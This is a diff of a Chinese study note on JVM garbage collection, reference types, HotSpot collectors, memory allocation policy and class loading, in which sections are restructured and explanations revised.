@ -117,8 +116,11 @@ Class 文件中的常量池(编译器生成的各种字面量和符号引用
两个对象出现循环引用的情况下,此时引用计数器永远不为 0导致无法对它们进行回收。 两个对象出现循环引用的情况下,此时引用计数器永远不为 0导致无法对它们进行回收。
正因为循环引用的存在,因此 Java 虚拟机不使用引用计数算法。
```java ```java
public class ReferenceCountingGC { public class ReferenceCountingGC {
public Object instance = null; public Object instance = null;
public static void main(String[] args) { public static void main(String[] args) {
@ -130,30 +132,50 @@ public class ReferenceCountingGC {
} }
``` ```
正因为循环引用的存在,因此 Java 虚拟机不使用引用计数算法。
### 2. 可达性分析算法 ### 2. 可达性分析算法
通过 GC Roots 作为起始点进行搜索,能够到达到的对象都是存活的,不可达的对象可被回收。 通过 GC Roots 作为起始点进行搜索,能够到达到的对象都是存活的,不可达的对象可被回收。
<div align="center"> <img src="../pics//0635cbe8.png" width=""/> </div><br>
Java 虚拟机使用该算法来判断对象是否可被回收,在 Java 中 GC Roots 一般包含以下内容: Java 虚拟机使用该算法来判断对象是否可被回收,在 Java 中 GC Roots 一般包含以下内容:
- 虚拟机栈中引用的对象 - 虚拟机栈中局部变量表中引用的对象
- 本地方法栈中引用的对象 - 本地方法栈中 JNI 中引用的对象
- 方法区中类静态属性引用的对象 - 方法区中类静态属性引用的对象
- 方法区中的常量引用的对象 - 方法区中的常量引用的对象
### 3. 引用类型 <div align="center"> <img src="../pics//0635cbe8.png" width=""/> </div><br>
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象的引用链是否可达,判定对象是否可被回收都与引用有关。 ### 3. 方法区的回收
Java 具有四种强度不同的引用类型 因为方法区主要存放永久代对象,而永久代对象的回收率比新生代低很多,因此在方法区上进行回收性价比不高
**(一)强引用** 主要是对常量池的回收和对类的卸载。
被强引用关联的对象不会被垃圾收集器回收 在大量使用反射、动态代理、CGLib 等 ByteCode 框架、动态生成 JSP 以及 OSGi 这类频繁自定义 ClassLoader 的场景都需要虚拟机具备类卸载功能,以保证不会出现内存溢出
类的卸载条件很多,需要满足以下三个条件,并且满足了也不一定会被卸载:
- 该类所有的实例都已经被回收,也就是堆中不存在该类的任何实例。
- 加载该类的 ClassLoader 已经被回收。
- 该类对应的 Class 对象没有在任何地方被引用,也就无法在任何地方通过反射访问该类方法。
可以通过 -Xnoclassgc 参数来控制是否对类进行卸载。
### 4. finalize()
finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。但是 try-finally 等方式可以做的更好,并且该方法运行代价高昂,不确定性大,无法保证各个对象的调用顺序,因此最好不要使用。
当一个对象可被回收时,如果需要执行该对象的 finalize() 方法,那么就有可能在该方法中让对象重新被引用,从而实现自救。自救只能进行一次,如果回收的对象之前调用了 finalize() 方法自救,后面回收时不会调用 finalize() 方法。
## 引用类型
无论是通过引用计算算法判断对象的引用数量,还是通过可达性分析算法判断对象是否可达,判定对象是否可被回收都与引用有关。
Java 提供了四种强度不同的引用类型。
### 1. 强引用
被强引用关联的对象不会被回收。
使用 new 一个新对象的方式来创建强引用。 使用 new 一个新对象的方式来创建强引用。
@ -161,21 +183,21 @@ Java 具有四种强度不同的引用类型。
Object obj = new Object(); Object obj = new Object();
``` ```
**(二)软引用** ### 2. 软引用
被软引用关联的对象只有在内存不够的情况下才会被回收。 被软引用关联的对象只有在内存不够的情况下才会被回收。
使用 SoftReference 类来创建软引用。 使用 SoftReference 类来创建软引用。
```java ```java
Object obj = new Object(); Object obj = new Object();
SoftReference<Object> sf = new SoftReference<Object>(obj); SoftReference<Object> sf = new SoftReference<Object>(obj);
obj = null; // 使对象只被软引用关联 obj = null; // 使对象只被软引用关联
``` ```
**(三)弱引用** ### 3. 弱引用
被弱引用关联的对象一定会被垃圾收集器回收,也就是说它只能存活到下一次垃圾收发生之前。 被弱引用关联的对象一定会被回收,也就是说它只能存活到下一次垃圾收发生之前。
使用 WeakReference 类来实现弱引用。 使用 WeakReference 类来实现弱引用。
@ -185,54 +207,11 @@ WeakReference<Object> wf = new WeakReference<Object>(obj);
obj = null; obj = null;
``` ```
WeakHashMap 的 Entry 继承自 WeakReference主要用来实现缓存。 ### 4. 虚引用
```java 又称为幽灵引用或者幻影引用。一个对象是否有虚引用的存在,完全不会对其生存时间构成影响,也无法通过虚引用取得一个对象。
private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
```
Tomcat 中的 ConcurrentCache 就使用了 WeakHashMap 来实现缓存功能。ConcurrentCache 采取的是分代缓存,经常使用的对象放入 eden 中,而不常用的对象放入 longterm。eden 使用 ConcurrentHashMap 实现longterm 使用 WeakHashMap保证了不常使用的对象容易被回收 为一个对象设置虚引用关联的唯一目的就是能在这个对象被回收时收到一个系统通知
```java
public final class ConcurrentCache<K, V> {
private final int size;
private final Map<K, V> eden;
private final Map<K, V> longterm;
public ConcurrentCache(int size) {
this.size = size;
this.eden = new ConcurrentHashMap<>(size);
this.longterm = new WeakHashMap<>(size);
}
public V get(K k) {
V v = this.eden.get(k);
if (v == null) {
v = this.longterm.get(k);
if (v != null)
this.eden.put(k, v);
}
return v;
}
public void put(K k, V v) {
if (this.eden.size() >= size) {
this.longterm.putAll(this.eden);
this.eden.clear();
}
this.eden.put(k, v);
}
}
```
**(四)虚引用**
又称为幽灵引用或者幻影引用。一个对象是否有虚引用的存在,完全不会对其生存时间构成影响,也无法通过虚引用取得一个对象实例。
为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个系统通知。
使用 PhantomReference 来实现虚引用。 使用 PhantomReference 来实现虚引用。
@ -242,35 +221,13 @@ PhantomReference<Object> pf = new PhantomReference<Object>(obj);
obj = null; obj = null;
``` ```
### 4. 方法区的回收
因为方法区主要存放永久代对象,而永久代对象的回收率比新生代差很多,因此在方法区上进行回收性价比不高。
主要是对常量池的回收和对类的卸载。
类的卸载条件很多,需要满足以下三个条件,并且满足了也不一定会被卸载:
- 该类所有的实例都已经被回收,也就是 Java 堆中不存在该类的任何实例。
- 加载该类的 ClassLoader 已经被回收。
- 该类对应的 java.lang.Class 对象没有在任何地方被引用,也就无法在任何地方通过反射访问该类方法。
可以通过 -Xnoclassgc 参数来控制是否对类进行卸载。
在大量使用反射、动态代理、CGLib 等 ByteCode 框架、动态生成 JSP 以及 OSGi 这类频繁自定义 ClassLoader 的场景都需要虚拟机具备类卸载功能,以保证不会出现内存溢出。
### 5. finalize()
finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。但是 try-finally 等方式可以做的更好,并且该方法运行代价高昂,不确定性大,无法保证各个对象的调用顺序,因此最好不要使用。
当一个对象可被回收时,如果需要执行该对象的 finalize() 方法,那么就有可能通过在该方法中让对象重新被引用,从而实现自救。
## 垃圾收集算法 ## 垃圾收集算法
### 1. 标记 - 清除 ### 1. 标记 - 清除
<div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
需要存活的对象进行标记,然后清理掉未被标记的对象。 将存活的对象进行标记,然后清理掉未被标记的对象。
不足: 不足:
@ -291,16 +248,18 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
主要不足是只使用了内存的一半。 主要不足是只使用了内存的一半。
现在的商业虚拟机都采用这种收集算法来回收新生代,但是并不是将内存划分为大小相等的两块,而是分为一块较大的 Eden 空间和两块较小的 Survior 空间,每次使用 Eden 空间和其中一块 Survivor。在回收时将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上,最后清理 Eden 和使用过的那一块 Survivor。HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1保证了内存的利用率达到 90 %。如果每次回收有多于 10% 的对象存活,那么一块 Survivor 空间就不够用了,此时需要依赖于老年代进行分配担保,也就是借用老年代的空间存储放不下的对象。 现在的商业虚拟机都采用这种收集算法来回收新生代,但是并不是将新生代划分为大小相等的两块,而是分为一块较大的 Eden 空间和两块较小的 Survivor 空间,每次使用 Eden 空间和其中一块 Survivor。在回收时将 Eden 和 Survivor 中还存活着的对象一次性复制到另一块 Survivor 空间上,最后清理 Eden 和使用过的那一块 Survivor。
HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活,那么一块 Survivor 空间就不够用了,此时需要依赖于老年代进行分配担保,也就是借用老年代的空间存储放不下的对象。
### 4. 分代收集 ### 4. 分代收集
现在的商业虚拟机采用分代收集算法,它根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。 现在的商业虚拟机采用分代收集算法,它根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。
一般将 Java 堆分为新生代和老年代。 一般将堆分为新生代和老年代。
- 新生代使用:复制算法 - 新生代使用:复制算法
- 老年代使用:标记 - 清 或者 标记 - 整理 算法 - 老年代使用:标记 - 清 或者 标记 - 整理 算法
## 垃圾收集器 ## 垃圾收集器
@ -308,17 +267,20 @@ finalize() 类似 C++ 的析构函数,用来做关闭外部资源等工作。
以上是 HotSpot 虚拟机中的 7 个垃圾收集器,连线表示垃圾收集器可以配合使用。 以上是 HotSpot 虚拟机中的 7 个垃圾收集器,连线表示垃圾收集器可以配合使用。
- 单线程与多线程:单线程指的是垃圾收集器只使用一个线程进行收集,而多线程使用多个线程;
- 串行与并行:串行指的是垃圾收集器与用户程序交替执行,这意味着在执行垃圾收集的时候需要停顿用户程序;并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外,其它垃圾收集器都是以串行的方式执行。
### 1. Serial 收集器 ### 1. Serial 收集器
<div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br> <div align="center"> <img src="../pics//22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
Serial 翻译为串行,垃圾收集和用户程序不能同时执行,这意味着在执行垃圾收集的时候需要停顿用户程序。除了 CMS 和 G1 之外其它收集器都是以串行的方式执行。CMS 和 G1 可以使得垃圾收集和用户程序同时执行,被称为并发执行。 Serial 翻译为串行,也就是说它以串行的方式执行。
它是单线程的收集器,只会使用一个线程进行垃圾收集工作。 它是单线程的收集器,只会使用一个线程进行垃圾收集工作。
它的优点是简单高效,对于单个 CPU 环境来说,由于没有线程交互的开销,因此拥有最高的单线程收集效率。 它的优点是简单高效,对于单个 CPU 环境来说,由于没有线程交互的开销,因此拥有最高的单线程收集效率。
它是 Client 模式下的默认新生代收集器,因为在用户的桌面应用场景下分配给虚拟机管理的内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内,只要不是太频繁,这点停顿是可以接受的。 它是 Client 模式下的默认新生代收集器,因为在应用场景下分配给虚拟机管理的内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内,只要不是太频繁,这点停顿是可以接受的。
### 2. ParNew 收集器 ### 2. ParNew 收集器
@ -328,19 +290,19 @@ Serial 翻译为串行,垃圾收集和用户程序不能同时执行,这意
是 Server 模式下的虚拟机首选新生代收集器,除了性能原因外,主要是因为除了 Serial 收集器,只有它能与 CMS 收集器配合工作。 是 Server 模式下的虚拟机首选新生代收集器,除了性能原因外,主要是因为除了 Serial 收集器,只有它能与 CMS 收集器配合工作。
默认开的线程数量与 CPU 数量相同,可以使用 -XX:ParallelGCThreads 参数来设置线程数。 默认开的线程数量与 CPU 数量相同,可以使用 -XX:ParallelGCThreads 参数来设置线程数。
### 3. Parallel Scavenge 收集器 ### 3. Parallel Scavenge 收集器
与 ParNew 一样是并行的多线程收集器。 与 ParNew 一样是多线程收集器。
其它收集器关注点是尽可能缩短垃圾收集时用户线程的停顿时间,而它的目标是达到一个可控制的吞吐量,它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户代码的时间占总时间的比值。 其它收集器关注点是尽可能缩短垃圾收集时用户线程的停顿时间,而它的目标是达到一个可控制的吞吐量,它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户代码的时间占总时间的比值。
停顿时间越短就越适合需要与用户交互的程序,良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间,尽快完成程序的运算任务,主要适合在后台运算而不需要太多交互的任务。 停顿时间越短就越适合需要与用户交互的程序,良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间,尽快完成程序的运算任务,适合在后台运算而不需要太多交互的任务。
提供了两个参数用于精确控制吞吐量,分别是控制最大垃圾收集停顿时间 -XX:MaxGCPauseMillis 参数以及直接设置吞吐量大小的 -XX:GCTimeRatio 参数(值为大于 0 且小于 100 的整数)。缩短停顿时间是以牺牲吞吐量和新生代空间来换取的:新生代空间变小,垃圾回收变得频繁,导致吞吐量下降。 缩短停顿时间是以牺牲吞吐量和新生代空间来换取的:新生代空间变小,垃圾回收变得频繁,导致吞吐量下降。
还提供了一个参数 -XX:+UseAdaptiveSizePolicy这是一个开关参数打开参数后,就不需要手工指定新生代的大小(-Xmn、Eden 和 Survivor 区的比例-XX:SurvivorRatio、晋升老年代对象年龄-XX:PretenureSizeThreshold等细节参数了虚拟机会根据当前系统的运行情况收集性能监控信息,动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量,这种方式称为 GC 自适应的调节策略GC Ergonomics 可以通过一个开关参数打开 GC 自适应的调节策略GC Ergonomics,就不需要手工指定新生代的大小(-Xmn、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了虚拟机会根据当前系统的运行情况收集性能监控信息,动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。
### 4. Serial Old 收集器 ### 4. Serial Old 收集器
@ -365,8 +327,6 @@ Serial 翻译为串行,垃圾收集和用户程序不能同时执行,这意
CMSConcurrent Mark SweepMark Sweep 指的是标记 - 清除算法。 CMSConcurrent Mark SweepMark Sweep 指的是标记 - 清除算法。
特点:并发收集、低停顿。并发指的是用户线程和 GC 线程同时运行。
分为以下四个流程: 分为以下四个流程:
- 初始标记:仅仅只是标记一下 GC Roots 能直接关联到的对象,速度很快,需要停顿。 - 初始标记:仅仅只是标记一下 GC Roots 能直接关联到的对象,速度很快,需要停顿。
@ -379,18 +339,18 @@ CMSConcurrent Mark SweepMark Sweep 指的是标记 - 清除算法。
具有以下缺点: 具有以下缺点:
- 吞吐量低:低停顿时间是以牺牲吞吐量为代价的,导致 CPU 利用率不够高。 - 吞吐量低:低停顿时间是以牺牲吞吐量为代价的,导致 CPU 利用率不够高。
- 无法处理浮动垃圾,可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在,因此需要预留出一部分内存,意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。可以使用 -XX:CMSInitiatingOccupancyFraction 来改变触发 CMS 收集器工作的内存占用百分,如果这个值设置的太大,导致预留的内存不够存放浮动垃圾,就会出现 Concurrent Mode Failure这时虚拟机将临时启用 Serial Old 来替代 CMS。 - 无法处理浮动垃圾,可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在,因此需要预留出一部分内存,意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。如果预留的内存不够存放浮动垃圾,就会出现 Concurrent Mode Failure这时虚拟机将临时启用 Serial Old 来替代 CMS。
- 标记 - 清除算法导致的空间碎片,往往出现老年代空间剩余,但无法找到足够大连续空间来分配当前对象,不得不提前触发一次 Full GC。 - 标记 - 清除算法导致的空间碎片,往往出现老年代空间剩余,但无法找到足够大连续空间来分配当前对象,不得不提前触发一次 Full GC。
### 7. G1 收集器 ### 7. G1 收集器
G1Garbage-First它是一款面向服务端应用的垃圾收集器在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。 G1Garbage-First它是一款面向服务端应用的垃圾收集器在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
Java 堆被分为新生代老年代和永久代,其它收集器进行收集的范围都是整个新生代或者老代,而 G1 可以直接对新生代和永久代一起回收。 堆被分为新生代老年代,其它收集器进行收集的范围都是整个新生代或者老代,而 G1 可以直接对新生代和老年代一起回收。
<div align="center"> <img src="../pics//4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/> </div><br> <div align="center"> <img src="../pics//4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/> </div><br>
G1 把新生代和老年代划分成多个大小相等的独立区域Region新生代和永久代不再物理隔离。 G1 把划分成多个大小相等的独立区域Region新生代和老年代不再物理隔离。
<div align="center"> <img src="../pics//9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/> </div><br> <div align="center"> <img src="../pics//9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/> </div><br>
@ -405,43 +365,28 @@ G1 把新生代和老年代划分成多个大小相等的独立区域Region
- 初始标记 - 初始标记
- 并发标记 - 并发标记
- 最终标记:为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录,虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面,最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程,但是可并行执行。 - 最终标记:为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录,虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面,最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程,但是可并行执行。
- 筛选回收:首先对各个 Region 中的回收价值和成本进行排序,根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行,但是因为只回收一部分 Region时间是用户可控制的而且停顿用户线程将大幅度提高收集效率。 - 筛选回收:首先对各个 Region 中的回收价值和成本进行排序,根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行,但是因为只回收一部分 Region时间是用户可控制的而且停顿用户线程将大幅度提高收集效率。
具备如下特点: 具备如下特点:
- 空间整合:整体来看是基于“标记 - 整理”算法实现的收集器,从局部(两个 Region 之间)上来看是基于“复制”算法实现的,这意味着运行期间不会产生内存空间碎片。 - 空间整合:整体来看是基于“标记 - 整理”算法实现的收集器,从局部(两个 Region 之间)上来看是基于“复制”算法实现的,这意味着运行期间不会产生内存空间碎片。
- 可预测的停顿:能让使用者明确指定在一个长度为 M 毫秒的时间片段内,消耗在 GC 上的时间不得超过 N 毫秒。 - 可预测的停顿:能让使用者明确指定在一个长度为 M 毫秒的时间片段内,消耗在 GC 上的时间不得超过 N 毫秒。
更详细内容请参考:[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html) # 三、内存分配与回收策略
### 8. 比较 ## Minor GC 和 Full GC
| 收集器 | 串行/并行/并发 | 新生代/老年代 | 收集算法 | 目标 | 适用场景 |
| :---: | :---: | :---: | :---: | :---: | :---: |
| **Serial** | 串行 | 新生代 | 复制 | 响应速度优先 | 单 CPU 环境下的 Client 模式 |
| **Serial Old** | 串行 | 老年代 | 标记-整理 | 响应速度优先 | 单 CPU 环境下的 Client 模式、CMS 的后备预案 |
| **ParNew** | 串行 + 并行 | 新生代 | 复制算法 | 响应速度优先 | 多 CPU 环境时在 Server 模式下与 CMS 配合 |
| **Parallel Scavenge** | 串行 + 并行 | 新生代 | 复制算法 | 吞吐量优先 | 在后台运算而不需要太多交互的任务 |
| **Parallel Old** | 串行 + 并行 | 老年代 | 标记-整理 | 吞吐量优先 | 在后台运算而不需要太多交互的任务 |
| **CMS** | 并行 + 并发 | 老年代 | 标记-清除 | 响应速度优先 | 集中在互联网站或 B/S 系统服务端上的 Java 应用 |
| **G1** | 并行 + 并发 | 新生代 + 老年代 | 标记-整理 + 复制算法 | 响应速度优先 | 面向服务端应用,将来替换 CMS |
## 内存分配与回收策略
对象的内存分配,也就是在堆上分配。主要分配在新生代的 Eden 区上,少数情况下也可能直接分配在老年代中。
### 1. Minor GC 和 Full GC
- Minor GC发生在新生代上因为新生代对象存活时间很短因此 Minor GC 会频繁执行,执行的速度一般也会比较快。 - Minor GC发生在新生代上因为新生代对象存活时间很短因此 Minor GC 会频繁执行,执行的速度一般也会比较快。
- Full GC发生在老年代上老年代对象和新生代的相反其存活时间长因此 Full GC 很少执行,而且执行速度会比 Minor GC 慢很多。
### 2. 内存分配策略 - Full GC发生在老年代上老年代对象其存活时间长因此 Full GC 很少执行,执行速度会比 Minor GC 慢很多。
**(一)对象优先在 Eden 分配** ## 内存分配策略
### 1. 对象优先在 Eden 分配
大多数情况下,对象在新生代 Eden 区分配,当 Eden 区空间不够时,发起 Minor GC。 大多数情况下,对象在新生代 Eden 区分配,当 Eden 区空间不够时,发起 Minor GC。
**(二)大对象直接进入老年代** ### 2. 大对象直接进入老年代
大对象是指需要连续内存空间的对象,最典型的大对象是那种很长的字符串以及数组。 大对象是指需要连续内存空间的对象,最典型的大对象是那种很长的字符串以及数组。
@ -449,47 +394,55 @@ G1 把新生代和老年代划分成多个大小相等的独立区域Region
-XX:PretenureSizeThreshold大于此值的对象直接在老年代分配避免在 Eden 区和 Survivor 区之间的大量内存复制。 -XX:PretenureSizeThreshold大于此值的对象直接在老年代分配避免在 Eden 区和 Survivor 区之间的大量内存复制。
**(三)长期存活的对象进入老年代** ### 3. 长期存活的对象进入老年代
为对象定义年龄计数器,对象在 Eden 出生并经过 Minor GC 依然存活,将移动到 Survivor 中,年龄就增加 1 岁,增加到一定年龄则移动到老年代中。 为对象定义年龄计数器,对象在 Eden 出生并经过 Minor GC 依然存活,将移动到 Survivor 中,年龄就增加 1 岁,增加到一定年龄则移动到老年代中。
-XX:MaxTenuringThreshold 用来定义年龄的阈值。 -XX:MaxTenuringThreshold 用来定义年龄的阈值。
**(四)动态对象年龄判定** ### 4. 动态对象年龄判定
虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无需等到 MaxTenuringThreshold 中要求的年龄。 虚拟机并不是永远地要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无需等到 MaxTenuringThreshold 中要求的年龄。
**(五)空间分配担保** ### 5. 空间分配担保
在发生 Minor GC 之前,虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间,如果条件成立的话,那么 Minor GC 可以确认是安全的;如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败,如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小,如果大于,将尝试着进行一次 Minor GC尽管这次 Minor GC 是有风险的;如果小于,或者 HandlePromotionFailure 设置不允许冒险,那这时也要改为进行一次 Full GC 在发生 Minor GC 之前,虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间,如果条件成立的话,那么 Minor GC 可以确认是安全的。
### 3. Full GC 的触发条件 如果不成立的话虚拟机会查看 HandlePromotionFailure 设置值是否允许担保失败,如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小,如果大于,将尝试着进行一次 Minor GC如果小于或者 HandlePromotionFailure 设置不允许冒险,那么就要进行一次 Full GC
对于 Minor GC其触发条件非常简单当 Eden 区空间满时,就将触发一次 Minor GC。而 Full GC 则相对复杂,有以下条件 ## Full GC 的触发条件
**(一)调用 System.gc()** 对于 Minor GC其触发条件非常简单当 Eden 空间满时,就将触发一次 Minor GC。而 Full GC 则相对复杂,有以下条件:
此方法的调用是建议虚拟机进行 Full GC虽然只是建议而非一定但很多情况下它会触发 Full GC从而增加 Full GC 的频率,也即增加了间歇性停顿的次数。因此强烈建议能不使用此方法就不要使用,让虚拟机自己去管理它的内存。可通过 -XX:DisableExplicitGC 来禁止 RMI 调用 System.gc() ### 1. 调用 System.gc()
**(二)老年代空间不足** 只是建议虚拟机执行 Full GC但是虚拟机不一定真正去执行。不建议使用这种方式而是让虚拟机管理内存。
老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等,当执行 Full GC 后空间仍然不足,则抛出 Java.lang.OutOfMemoryError。为避免以上原因引起的 Full GC调优时应尽量做到让对象在 Minor GC 阶段被回收、让对象在新生代多存活一段时间以及不要创建过大的对象及数组。 ### 2. 老年代空间不足
**(三)空间分配担保失败** 老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等。
使用复制算法的 Minor GC 需要老年代的内存空间作担保,如果出现了 HandlePromotionFailure 担保失败,则会触发 Full GC 为了避免以上原因引起的 Full GC应当尽量不要创建过大的对象以及数组。除此之外可以通过 -Xmn 虚拟机参数调大新生代的大小,让对象尽量在新生代被回收掉,不进入老年代。还可以通过 -XX:MaxTenuringThreshold 调大对象进入老年代的年龄,让对象在新生代多存活一段时间
**JDK 1.7 及以前的永久代空间不足** ### 3. 空间分配担保失败
在 JDK 1.7 及以前HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据,当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么虚拟机会抛出 java.lang.OutOfMemoryError为避免以上原因引起的 Full GC可采用的方法为增大永久代空间或转为使用 CMS GC 使用复制算法的 Minor GC 需要老年代的内存空间作担保,如果担保失败会执行一次 Full GC。具体内容请参考上面的第五小节
**Concurrent Mode Failure** ### 4. JDK 1.7 及以前的永久代空间不足
执行 CMS GC 的过程中同时有对象要放入老年代,而此时老年代空间不足(有时候“空间不足”是 CMS GC 时当前的浮动垃圾过多导致暂时性的空间不足触发 Full GC便会报 Concurrent Mode Failure 错误,并触发 Full GC 在 JDK 1.7 及以前HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据
# 三、类加载机制 当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么虚拟机会抛出 java.lang.OutOfMemoryError。
类是在运行期间动态加载的 为避免以上原因引起的 Full GC可采用的方法为增大永久代空间或转为使用 CMS GC
### 5. Concurrent Mode Failure
执行 CMS GC 的过程中同时有对象要放入老年代,而此时老年代空间不足(可能是 GC 过程中浮动垃圾过多导致暂时性的空间不足),便会报 Concurrent Mode Failure 错误,并触发 Full GC。
# 四、类加载机制
类是在运行期间第一次使用时动态加载的,而不是编译时期一次性加载。因为如果在编译时期一次性加载,那么会占用很多的内存。
## 类的生命周期 ## 类的生命周期
@ -505,42 +458,6 @@ G1 把新生代和老年代划分成多个大小相等的独立区域Region
- 使用Using - 使用Using
- 卸载Unloading - 卸载Unloading
其中解析过程在某些情况下可以在初始化阶段之后再开始,这是为了支持 Java 的动态绑定。
## 类初始化时机
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随着发生):
- 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译期把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
- 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
- 当初始化一个类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化。
- 当虚拟机启动时,用户需要指定一个要执行的主类(包含 main() 方法的那个类),虚拟机会先初始化这个主类;
- 当使用 JDK 1.7 的动态语言支持时,如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄,并且这个方法句柄所对应的类没有进行过初始化,则需要先触发其初始化;
以上 5 种场景中的行为称为对一个类进行主动引用。除此之外,所有引用类的方式都不会触发初始化,称为被动引用。被动引用的常见例子包括:
- 通过子类引用父类的静态字段,不会导致子类初始化。
```java
System.out.println(SubClass.value); // value 字段在 SuperClass 中定义
```
- 通过数组定义来引用类,不会触发此类的初始化。该过程会对数组类进行初始化,数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类,其中包含了数组的属性和方法。
```java
SuperClass[] sca = new SuperClass[10];
```
- 常量在编译阶段会存入调用类的常量池中,本质上并没有直接引用到定义常量的类,因此不会触发定义常量的类的初始化。
```java
System.out.println(ConstClass.HELLOWORLD);
```
## 类加载过程 ## 类加载过程
包含了加载、验证、准备、解析和初始化这 5 个阶段。 包含了加载、验证、准备、解析和初始化这 5 个阶段。
@ -557,27 +474,22 @@ System.out.println(ConstClass.HELLOWORLD);
其中二进制字节流可以从以下方式中获取: 其中二进制字节流可以从以下方式中获取:
- 从 ZIP 包读取,这很常见,最终成为日后 JAR、EAR、WAR 格式的基础。 - 从 ZIP 包读取,成为 JAR、EAR、WAR 格式的基础。
- 从网络中获取,这种场景最典型的应用是 Applet。 - 从网络中获取,最典型的应用是 Applet。
